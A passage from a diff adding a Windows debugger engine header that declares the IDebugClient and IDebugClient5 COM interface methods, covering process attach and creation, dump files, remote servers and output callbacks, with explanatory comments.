STDMETHOD(GetRunningProcessDescription)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + // Attaches to a running user-mode process. + STDMETHOD(AttachProcess)( + THIS_ + __in ULONG64 Server, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Creates a new user-mode process for debugging. + // CreateFlags are as given to Win32s CreateProcess. + // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS + // must be specified. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + // Creates or attaches to a user-mode process, or both. + // If CommandLine is NULL this method operates as + // AttachProcess does. If ProcessId is zero it + // operates as CreateProcess does. If CommandLine is + // non-NULL and ProcessId is non-zero the method first + // starts a process with the given information but + // in a suspended state. The engine then attaches to + // the indicated process. Once the attach is successful + // the suspended process is resumed. This provides + // synchronization between the new process and the + // attachment. + STDMETHOD(CreateProcessAndAttach)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Gets and sets process control flags. + STDMETHOD(GetProcessOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Opens any kind of user- or kernel-mode dump file + // and begins a debug session with the information + // contained within it. + STDMETHOD(OpenDumpFile)( + THIS_ + __in PCSTR DumpFile + ) PURE; + // Writes a dump file from the current session information. + // The kind of dump file written is determined by the + // kind of session and the type qualifier given. + // For example, if the current session is a kernel + // debug session (DEBUG_CLASS_KERNEL) and the qualifier + // is DEBUG_DUMP_SMALL a small kernel dump will be written. + STDMETHOD(WriteDumpFile)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier + ) PURE; + + // Indicates that a remote client is ready to + // begin participating in the current session. + // HistoryLimit gives a character limit on + // the amount of output history to be sent. + STDMETHOD(ConnectSession)( + THIS_ + __in ULONG Flags, + __in ULONG HistoryLimit + ) PURE; + // Indicates that the engine should start accepting + // remote connections. Options specifies connection types + // and their parameters. Supported strings are: + // npipe:Pipe= + // tcp:Port= + STDMETHOD(StartServer)( + THIS_ + __in PCSTR Options + ) PURE; + // List the servers running on the given machine. + // Uses the line prefix. + STDMETHOD(OutputServers)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Machine, + __in ULONG Flags + ) PURE; + + // Attempts to terminate all processes in the debuggers list. + STDMETHOD(TerminateProcesses)( + THIS + ) PURE; + // Attempts to detach from all processes in the debuggers list. + // This requires OS support for debugger detach. + STDMETHOD(DetachProcesses)( + THIS + ) PURE; + // Stops the current debug session. If a process + // was created or attached an active EndSession can + // terminate or detach from it. + // If a kernel connection was opened it will be closed but the + // target machine is otherwise unaffected. + STDMETHOD(EndSession)( + THIS_ + __in ULONG Flags + ) PURE; + // If a process was started and ran to completion + // this method can be used to retrieve its exit code. + STDMETHOD(GetExitCode)( + THIS_ + __out PULONG Code + ) PURE; + + // Client event callbacks are called on the thread + // of the client. In order to give thread + // execution to the engine for callbacks all + // client threads should call DispatchCallbacks + // when they are idle. Callbacks are only + // received when a thread calls DispatchCallbacks + // or WaitForEvent. WaitForEvent can only be + // called by the thread that started the debug + // session so all other client threads should + // call DispatchCallbacks when possible. + // DispatchCallbacks returns when ExitDispatch is used + // to interrupt dispatch or when the timeout expires. + // DispatchCallbacks dispatches callbacks for all + // clients associated with the thread calling + // DispatchCallbacks. + // DispatchCallbacks returns S_FALSE when the + // timeout expires. + STDMETHOD(DispatchCallbacks)( + THIS_ + __in ULONG Timeout + ) PURE; + // ExitDispatch can be used to interrupt callback + // dispatch when a client thread is needed by the + // client. This method is reentrant and can + // be called from any thread. + STDMETHOD(ExitDispatch)( + THIS_ + __in PDEBUG_CLIENT Client + ) PURE; + + // Clients are specific to the thread that + // created them. Calls from other threads + // fail immediately. The CreateClient method + // is a notable exception; it allows creation + // of a new client for a new thread. + STDMETHOD(CreateClient)( + THIS_ + __out PDEBUG_CLIENT* Client + ) PURE; + + STDMETHOD(GetInputCallbacks)( + THIS_ + __out PDEBUG_INPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetInputCallbacks)( + THIS_ + __in_opt PDEBUG_INPUT_CALLBACKS Callbacks + ) PURE; + + // Output callback interfaces are described separately. + STDMETHOD(GetOutputCallbacks)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacks)( + THIS_ + __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks + ) PURE; + // Output flags provide control over + // the distribution of output among clients. + // Output masks select which output streams + // should be sent to the output callbacks. + // Only Output calls with a mask that + // contains one of the output mask bits + // will be sent to the output callbacks. + // These methods are reentrant. + // If such access is not synchronized + // disruptions in output may occur. + STDMETHOD(GetOutputMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetOutputMask)( + THIS_ + __in ULONG Mask + ) PURE; + // These methods allow access to another clients + // output mask. They are necessary for changing + // a clients output mask when it is + // waiting for events. These methods are reentrant + // and can be called from any thread. + STDMETHOD(GetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __out PULONG Mask + ) PURE; + STDMETHOD(SetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __in ULONG Mask + ) PURE; + // Control the width of an output line for + // commands which produce formatted output. + // This setting is just a suggestion. + STDMETHOD(GetOutputWidth)( + THIS_ + __out PULONG Columns + ) PURE; + STDMETHOD(SetOutputWidth)( + THIS_ + __in ULONG Columns + ) PURE; + // Some of the engines output commands produce + // multiple lines of output. A prefix can be + // set that the engine will automatically output + // for each line in that case, allowing a caller + // to control indentation or identifying marks. + // This is not a general setting for any output + // with a newline in it. Methods which use + // the line prefix are marked in their documentation. + STDMETHOD(GetOutputLinePrefix)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefix)( + THIS_ + __in_opt PCSTR Prefix + ) PURE; + + // Returns a string describing the machine + // and user this client represents. The + // specific content of the string varies + // with operating system. If the client is + // remotely connected some network information + // may also be present. + STDMETHOD(GetIdentity)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + // Format is a printf-like format string + // with one %s where the identity string should go. + STDMETHOD(OutputIdentity)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCSTR Format + ) PURE; + + // Event callbacks allow a client to + // receive notification about changes + // during the debug session. + STDMETHOD(GetEventCallbacks)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacks)( + THIS_ + __in_opt PDEBUG_EVENT_CALLBACKS Callbacks + ) PURE; + + // The engine sometimes merges compatible callback + // requests to reduce callback overhead. This is + // most noticeable with output as small pieces of + // output are collected into larger groups to + // reduce the overall number of output callback calls. + // A client can use this method to force all pending + // callbacks to be delivered. This is rarely necessary. + STDMETHOD(FlushCallbacks)( + THIS + ) PURE; + + // IDebugClient2. + + // Functions similarly to WriteDumpFile with + // the addition of the ability to specify + // per-dump-format write control flags. + // Comment is not supported in all formats. + STDMETHOD(WriteDumpFile2)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCSTR Comment + ) PURE; + // Registers additional files of supporting information + // for a dump file open. This method must be called + // before OpenDumpFile is called. + // The files registered may be opened at the time + // this method is called but generally will not + // be used until OpenDumpFile is called. + STDMETHOD(AddDumpInformationFile)( + THIS_ + __in PCSTR InfoFile, + __in ULONG Type + ) PURE; + + // Requests that the remote process server shut down. + STDMETHOD(EndProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + // Waits for a started process server to + // exit. Allows an application running a + // process server to monitor the process + // server so that it can tell when a remote + // client has asked for it to exit. + // Returns S_OK if the process server has + // shut down and S_FALSE for a timeout. + STDMETHOD(WaitForProcessServerEnd)( + THIS_ + __in ULONG Timeout + ) PURE; + + // Returns S_OK if the system is configured + // to allow kernel debugging. + STDMETHOD(IsKernelDebuggerEnabled)( + THIS + ) PURE; + + // Attempts to terminate the current process. + // Exit process events for the process may be generated. + STDMETHOD(TerminateCurrentProcess)( + THIS + ) PURE; + // Attempts to detach from the current process. + // This requires OS support for debugger detach. + STDMETHOD(DetachCurrentProcess)( + THIS + ) PURE; + // Removes the process from the debuggers process + // list without making any other changes. The process + // will still be marked as being debugged and will + // not run. This allows a debugger to be shut down + // and a new debugger attached without taking the + // process out of the debugged state. + // This is only supported on some system versions. + STDMETHOD(AbandonCurrentProcess)( + THIS + ) PURE; + + // IDebugClient3. + + STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)( + THIS_ + __in ULONG64 Server, + __in PCWSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescriptionWide)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PWSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PWSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + STDMETHOD(CreateProcessWide)( + THIS_ + __in ULONG64 Server, + __in PWSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + STDMETHOD(CreateProcessAndAttachWide)( + THIS_ + __in ULONG64 Server, + __in_opt PWSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + + // IDebugClient4. + + // In the following methods both a filename and a file + // handle can be passed in. If a file handle is given + // the filename may be omitted, although providing it + // allows the debugger to properly report the name when + // queried. + // File handles cannot be used in remote calls. + STDMETHOD(OpenDumpFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle + ) PURE; + STDMETHOD(WriteDumpFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCWSTR Comment + ) PURE; + STDMETHOD(AddDumpInformationFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle, + __in ULONG Type + ) PURE; + // These methods can be used to retrieve + // file information for all targets that + // involve files. + STDMETHOD(GetNumberDumpFiles)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetDumpFile)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Handle, + __out PULONG Type + ) PURE; + STDMETHOD(GetDumpFileWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Handle, + __out PULONG Type + ) PURE; +}; + +#undef INTERFACE +#define INTERFACE IDebugClient5 +DECLARE_INTERFACE_(IDebugClient5, IUnknown) +{ + // IUnknown. + STDMETHOD(QueryInterface)( + THIS_ + __in REFIID InterfaceId, + __out PVOID* Interface + ) PURE; + STDMETHOD_(ULONG, AddRef)( + THIS + ) PURE; + STDMETHOD_(ULONG, Release)( + THIS + ) PURE; + + // IDebugClient. + + // The following set of methods start + // the different kinds of debuggees. + + // Begins a debug session using the kernel + // debugging protocol. This method selects + // the protocol as the debuggee communication + // mechanism but does not initiate the communication + // itself. + STDMETHOD(AttachKernel)( + THIS_ + __in ULONG Flags, + __in_opt PCSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptions)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + // Updates the connection options for a live + // kernel connection. This can only be used + // to modify parameters for the connection, not + // to switch to a completely different kind of + // connection. + // This method is reentrant. + STDMETHOD(SetKernelConnectionOptions)( + THIS_ + __in PCSTR Options + ) PURE; + + // Starts a process server for remote + // user-mode process control. + // The local process server is server zero. + STDMETHOD(StartProcessServer)( + THIS_ + __in ULONG Flags, + __in PCSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServer)( + THIS_ + __in PCSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + STDMETHOD(DisconnectProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + + // Enumerates and describes processes + // accessible through the given process server. + STDMETHOD(GetRunningProcessSystemIds)( + THIS_ + __in ULONG64 Server, + __out_ecount_opt(Count) PULONG Ids, + __in ULONG Count, + __out_opt PULONG ActualCount + ) PURE; + STDMETHOD(GetRunningProcessSystemIdByExecutableName)( + THIS_ + __in ULONG64 Server, + __in PCSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescription)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + // Attaches to a running user-mode process. + STDMETHOD(AttachProcess)( + THIS_ + __in ULONG64 Server, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Creates a new user-mode process for debugging. + // CreateFlags are as given to Win32s CreateProcess. + // One of DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS + // must be specified. + STDMETHOD(CreateProcess)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + // Creates or attaches to a user-mode process, or both. + // If CommandLine is NULL this method operates as + // AttachProcess does. If ProcessId is zero it + // operates as CreateProcess does. If CommandLine is + // non-NULL and ProcessId is non-zero the method first + // starts a process with the given information but + // in a suspended state. The engine then attaches to + // the indicated process. Once the attach is successful + // the suspended process is resumed. This provides + // synchronization between the new process and the + // attachment. + STDMETHOD(CreateProcessAndAttach)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + // Gets and sets process control flags. + STDMETHOD(GetProcessOptions)( + THIS_ + __out PULONG Options + ) PURE; + STDMETHOD(AddProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(RemoveProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + STDMETHOD(SetProcessOptions)( + THIS_ + __in ULONG Options + ) PURE; + + // Opens any kind of user- or kernel-mode dump file + // and begins a debug session with the information + // contained within it. + STDMETHOD(OpenDumpFile)( + THIS_ + __in PCSTR DumpFile + ) PURE; + // Writes a dump file from the current session information. + // The kind of dump file written is determined by the + // kind of session and the type qualifier given. + // For example, if the current session is a kernel + // debug session (DEBUG_CLASS_KERNEL) and the qualifier + // is DEBUG_DUMP_SMALL a small kernel dump will be written. + STDMETHOD(WriteDumpFile)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier + ) PURE; + + // Indicates that a remote client is ready to + // begin participating in the current session. + // HistoryLimit gives a character limit on + // the amount of output history to be sent. + STDMETHOD(ConnectSession)( + THIS_ + __in ULONG Flags, + __in ULONG HistoryLimit + ) PURE; + // Indicates that the engine should start accepting + // remote connections. Options specifies connection types + // and their parameters. Supported strings are: + // npipe:Pipe= + // tcp:Port= + STDMETHOD(StartServer)( + THIS_ + __in PCSTR Options + ) PURE; + // List the servers running on the given machine. + // Uses the line prefix. + STDMETHOD(OutputServers)( + THIS_ + __in ULONG OutputControl, + __in PCSTR Machine, + __in ULONG Flags + ) PURE; + + // Attempts to terminate all processes in the debuggers list. + STDMETHOD(TerminateProcesses)( + THIS + ) PURE; + // Attempts to detach from all processes in the debuggers list. + // This requires OS support for debugger detach. + STDMETHOD(DetachProcesses)( + THIS + ) PURE; + // Stops the current debug session. If a process + // was created or attached an active EndSession can + // terminate or detach from it. + // If a kernel connection was opened it will be closed but the + // target machine is otherwise unaffected. + STDMETHOD(EndSession)( + THIS_ + __in ULONG Flags + ) PURE; + // If a process was started and ran to completion + // this method can be used to retrieve its exit code. + STDMETHOD(GetExitCode)( + THIS_ + __out PULONG Code + ) PURE; + + // Client event callbacks are called on the thread + // of the client. In order to give thread + // execution to the engine for callbacks all + // client threads should call DispatchCallbacks + // when they are idle. Callbacks are only + // received when a thread calls DispatchCallbacks + // or WaitForEvent. WaitForEvent can only be + // called by the thread that started the debug + // session so all other client threads should + // call DispatchCallbacks when possible. + // DispatchCallbacks returns when ExitDispatch is used + // to interrupt dispatch or when the timeout expires. + // DispatchCallbacks dispatches callbacks for all + // clients associated with the thread calling + // DispatchCallbacks. + // DispatchCallbacks returns S_FALSE when the + // timeout expires. + STDMETHOD(DispatchCallbacks)( + THIS_ + __in ULONG Timeout + ) PURE; + // ExitDispatch can be used to interrupt callback + // dispatch when a client thread is needed by the + // client. This method is reentrant and can + // be called from any thread. + STDMETHOD(ExitDispatch)( + THIS_ + __in PDEBUG_CLIENT Client + ) PURE; + + // Clients are specific to the thread that + // created them. Calls from other threads + // fail immediately. The CreateClient method + // is a notable exception; it allows creation + // of a new client for a new thread. + STDMETHOD(CreateClient)( + THIS_ + __out PDEBUG_CLIENT* Client + ) PURE; + + STDMETHOD(GetInputCallbacks)( + THIS_ + __out PDEBUG_INPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetInputCallbacks)( + THIS_ + __in_opt PDEBUG_INPUT_CALLBACKS Callbacks + ) PURE; + + // Output callback interfaces are described separately. + STDMETHOD(GetOutputCallbacks)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacks)( + THIS_ + __in_opt PDEBUG_OUTPUT_CALLBACKS Callbacks + ) PURE; + // Output flags provide control over + // the distribution of output among clients. + // Output masks select which output streams + // should be sent to the output callbacks. + // Only Output calls with a mask that + // contains one of the output mask bits + // will be sent to the output callbacks. + // These methods are reentrant. + // If such access is not synchronized + // disruptions in output may occur. + STDMETHOD(GetOutputMask)( + THIS_ + __out PULONG Mask + ) PURE; + STDMETHOD(SetOutputMask)( + THIS_ + __in ULONG Mask + ) PURE; + // These methods allow access to another clients + // output mask. They are necessary for changing + // a clients output mask when it is + // waiting for events. These methods are reentrant + // and can be called from any thread. + STDMETHOD(GetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __out PULONG Mask + ) PURE; + STDMETHOD(SetOtherOutputMask)( + THIS_ + __in PDEBUG_CLIENT Client, + __in ULONG Mask + ) PURE; + // Control the width of an output line for + // commands which produce formatted output. + // This setting is just a suggestion. + STDMETHOD(GetOutputWidth)( + THIS_ + __out PULONG Columns + ) PURE; + STDMETHOD(SetOutputWidth)( + THIS_ + __in ULONG Columns + ) PURE; + // Some of the engines output commands produce + // multiple lines of output. A prefix can be + // set that the engine will automatically output + // for each line in that case, allowing a caller + // to control indentation or identifying marks. + // This is not a general setting for any output + // with a newline in it. Methods which use + // the line prefix are marked in their documentation. + STDMETHOD(GetOutputLinePrefix)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefix)( + THIS_ + __in_opt PCSTR Prefix + ) PURE; + + // Returns a string describing the machine + // and user this client represents. The + // specific content of the string varies + // with operating system. If the client is + // remotely connected some network information + // may also be present. + STDMETHOD(GetIdentity)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + // Format is a printf-like format string + // with one %s where the identity string should go. + STDMETHOD(OutputIdentity)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCSTR Format + ) PURE; + + // Event callbacks allow a client to + // receive notification about changes + // during the debug session. + STDMETHOD(GetEventCallbacks)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacks)( + THIS_ + __in_opt PDEBUG_EVENT_CALLBACKS Callbacks + ) PURE; + + // The engine sometimes merges compatible callback + // requests to reduce callback overhead. This is + // most noticeable with output as small pieces of + // output are collected into larger groups to + // reduce the overall number of output callback calls. + // A client can use this method to force all pending + // callbacks to be delivered. This is rarely necessary. + STDMETHOD(FlushCallbacks)( + THIS + ) PURE; + + // IDebugClient2. + + // Functions similarly to WriteDumpFile with + // the addition of the ability to specify + // per-dump-format write control flags. + // Comment is not supported in all formats. + STDMETHOD(WriteDumpFile2)( + THIS_ + __in PCSTR DumpFile, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCSTR Comment + ) PURE; + // Registers additional files of supporting information + // for a dump file open. This method must be called + // before OpenDumpFile is called. + // The files registered may be opened at the time + // this method is called but generally will not + // be used until OpenDumpFile is called. + STDMETHOD(AddDumpInformationFile)( + THIS_ + __in PCSTR InfoFile, + __in ULONG Type + ) PURE; + + // Requests that the remote process server shut down. + STDMETHOD(EndProcessServer)( + THIS_ + __in ULONG64 Server + ) PURE; + // Waits for a started process server to + // exit. Allows an application running a + // process server to monitor the process + // server so that it can tell when a remote + // client has asked for it to exit. + // Returns S_OK if the process server has + // shut down and S_FALSE for a timeout. + STDMETHOD(WaitForProcessServerEnd)( + THIS_ + __in ULONG Timeout + ) PURE; + + // Returns S_OK if the system is configured + // to allow kernel debugging. + STDMETHOD(IsKernelDebuggerEnabled)( + THIS + ) PURE; + + // Attempts to terminate the current process. + // Exit process events for the process may be generated. + STDMETHOD(TerminateCurrentProcess)( + THIS + ) PURE; + // Attempts to detach from the current process. + // This requires OS support for debugger detach. + STDMETHOD(DetachCurrentProcess)( + THIS + ) PURE; + // Removes the process from the debuggers process + // list without making any other changes. The process + // will still be marked as being debugged and will + // not run. This allows a debugger to be shut down + // and a new debugger attached without taking the + // process out of the debugged state. + // This is only supported on some system versions. + STDMETHOD(AbandonCurrentProcess)( + THIS + ) PURE; + + // IDebugClient3. + + STDMETHOD(GetRunningProcessSystemIdByExecutableNameWide)( + THIS_ + __in ULONG64 Server, + __in PCWSTR ExeName, + __in ULONG Flags, + __out PULONG Id + ) PURE; + STDMETHOD(GetRunningProcessDescriptionWide)( + THIS_ + __in ULONG64 Server, + __in ULONG SystemId, + __in ULONG Flags, + __out_ecount_opt(ExeNameSize) PWSTR ExeName, + __in ULONG ExeNameSize, + __out_opt PULONG ActualExeNameSize, + __out_ecount_opt(DescriptionSize) PWSTR Description, + __in ULONG DescriptionSize, + __out_opt PULONG ActualDescriptionSize + ) PURE; + + STDMETHOD(CreateProcessWide)( + THIS_ + __in ULONG64 Server, + __in PWSTR CommandLine, + __in ULONG CreateFlags + ) PURE; + STDMETHOD(CreateProcessAndAttachWide)( + THIS_ + __in ULONG64 Server, + __in_opt PWSTR CommandLine, + __in ULONG CreateFlags, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + + // IDebugClient4. + + // In the following methods both a filename and a file + // handle can be passed in. If a file handle is given + // the filename may be omitted, although providing it + // allows the debugger to properly report the name when + // queried. + // File handles cannot be used in remote calls. + STDMETHOD(OpenDumpFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle + ) PURE; + STDMETHOD(WriteDumpFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle, + __in ULONG Qualifier, + __in ULONG FormatFlags, + __in_opt PCWSTR Comment + ) PURE; + STDMETHOD(AddDumpInformationFileWide)( + THIS_ + __in_opt PCWSTR FileName, + __in ULONG64 FileHandle, + __in ULONG Type + ) PURE; + // These methods can be used to retrieve + // file information for all targets that + // involve files. + STDMETHOD(GetNumberDumpFiles)( + THIS_ + __out PULONG Number + ) PURE; + STDMETHOD(GetDumpFile)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Handle, + __out PULONG Type + ) PURE; + STDMETHOD(GetDumpFileWide)( + THIS_ + __in ULONG Index, + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG NameSize, + __out_opt PULONG64 Handle, + __out PULONG Type + ) PURE; + + // IDebugClient5. + + STDMETHOD(AttachKernelWide)( + THIS_ + __in ULONG Flags, + __in_opt PCWSTR ConnectOptions + ) PURE; + STDMETHOD(GetKernelConnectionOptionsWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG OptionsSize + ) PURE; + STDMETHOD(SetKernelConnectionOptionsWide)( + THIS_ + __in PCWSTR Options + ) PURE; + + STDMETHOD(StartProcessServerWide)( + THIS_ + __in ULONG Flags, + __in PCWSTR Options, + __in_opt __reserved PVOID Reserved + ) PURE; + STDMETHOD(ConnectProcessServerWide)( + THIS_ + __in PCWSTR RemoteOptions, + __out PULONG64 Server + ) PURE; + + STDMETHOD(StartServerWide)( + THIS_ + __in PCWSTR Options + ) PURE; + STDMETHOD(OutputServersWide)( + THIS_ + __in ULONG OutputControl, + __in PCWSTR Machine, + __in ULONG Flags + ) PURE; + + STDMETHOD(GetOutputCallbacksWide)( + THIS_ + __out PDEBUG_OUTPUT_CALLBACKS_WIDE* Callbacks + ) PURE; + STDMETHOD(SetOutputCallbacksWide)( + THIS_ + __in PDEBUG_OUTPUT_CALLBACKS_WIDE Callbacks + ) PURE; + STDMETHOD(GetOutputLinePrefixWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG PrefixSize + ) PURE; + STDMETHOD(SetOutputLinePrefixWide)( + THIS_ + __in_opt PCWSTR Prefix + ) PURE; + + STDMETHOD(GetIdentityWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG IdentitySize + ) PURE; + STDMETHOD(OutputIdentityWide)( + THIS_ + __in ULONG OutputControl, + __in ULONG Flags, + __in PCWSTR Format + ) PURE; + + STDMETHOD(GetEventCallbacksWide)( + THIS_ + __out PDEBUG_EVENT_CALLBACKS_WIDE* Callbacks + ) PURE; + STDMETHOD(SetEventCallbacksWide)( + THIS_ + __in PDEBUG_EVENT_CALLBACKS_WIDE Callbacks + ) PURE; + + STDMETHOD(CreateProcess2)( + THIS_ + __in ULONG64 Server, + __in PSTR CommandLine, + __in_bcount(OptionsBufferSize) PVOID OptionsBuffer, + __in ULONG OptionsBufferSize, + __in_opt PCSTR InitialDirectory, + __in_opt PCSTR Environment + ) PURE; + STDMETHOD(CreateProcess2Wide)( + THIS_ + __in ULONG64 Server, + __in PWSTR CommandLine, + __in_bcount(OptionsBufferSize) PVOID OptionsBuffer, + __in ULONG OptionsBufferSize, + __in_opt PCWSTR InitialDirectory, + __in_opt PCWSTR Environment + ) PURE; + STDMETHOD(CreateProcessAndAttach2)( + THIS_ + __in ULONG64 Server, + __in_opt PSTR CommandLine, + __in_bcount(OptionsBufferSize) PVOID OptionsBuffer, + __in ULONG OptionsBufferSize, + __in_opt PCSTR InitialDirectory, + __in_opt PCSTR Environment, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + STDMETHOD(CreateProcessAndAttach2Wide)( + THIS_ + __in ULONG64 Server, + __in_opt PWSTR CommandLine, + __in_bcount(OptionsBufferSize) PVOID OptionsBuffer, + __in ULONG OptionsBufferSize, + __in_opt PCWSTR InitialDirectory, + __in_opt PCWSTR Environment, + __in ULONG ProcessId, + __in ULONG AttachFlags + ) PURE; + + // Helpers for saving and restoring the + // current output line prefix. + STDMETHOD(PushOutputLinePrefix)( + THIS_ + __in_opt PCSTR NewPrefix, + __out PULONG64 Handle + ) PURE; + STDMETHOD(PushOutputLinePrefixWide)( + THIS_ + __in_opt PCWSTR NewPrefix, + __out PULONG64 Handle + ) PURE; + STDMETHOD(PopOutputLinePrefix)( + THIS_ + __in ULONG64 Handle + ) PURE; + + // Queries to determine if any clients + // could potentially respond to the given callback. + STDMETHOD(GetNumberInputCallbacks)( + THIS_ + __out PULONG Count + ) PURE; + STDMETHOD(GetNumberOutputCallbacks)( + THIS_ + __out PULONG Count + ) PURE; + STDMETHOD(GetNumberEventCallbacks)( + THIS_ + __in ULONG EventFlags, + __out PULONG Count + ) PURE; + + // Control over locking the session against + // undesired quits. The quit lock string + // cannot be retrieved from a secure session. + STDMETHOD(GetQuitLockString)( + THIS_ + __out_ecount_opt(BufferSize) PSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + STDMETHOD(SetQuitLockString)( + THIS_ + __in PCSTR String + ) PURE; + STDMETHOD(GetQuitLockStringWide)( + THIS_ + __out_ecount_opt(BufferSize) PWSTR Buffer, + __in ULONG BufferSize, + __out_opt PULONG StringSize + ) PURE; + STDMETHOD(SetQuitLockStringWide)( + THIS_ + __in PCWSTR String + ) PURE; +}; + +//---------------------------------------------------------------------------- +// +// IDebugControl. +// +//---------------------------------------------------------------------------- + +// Execution status codes used for waiting, +// for returning current status and for +// event method return values. +#define DEBUG_STATUS_NO_CHANGE 0 +#define 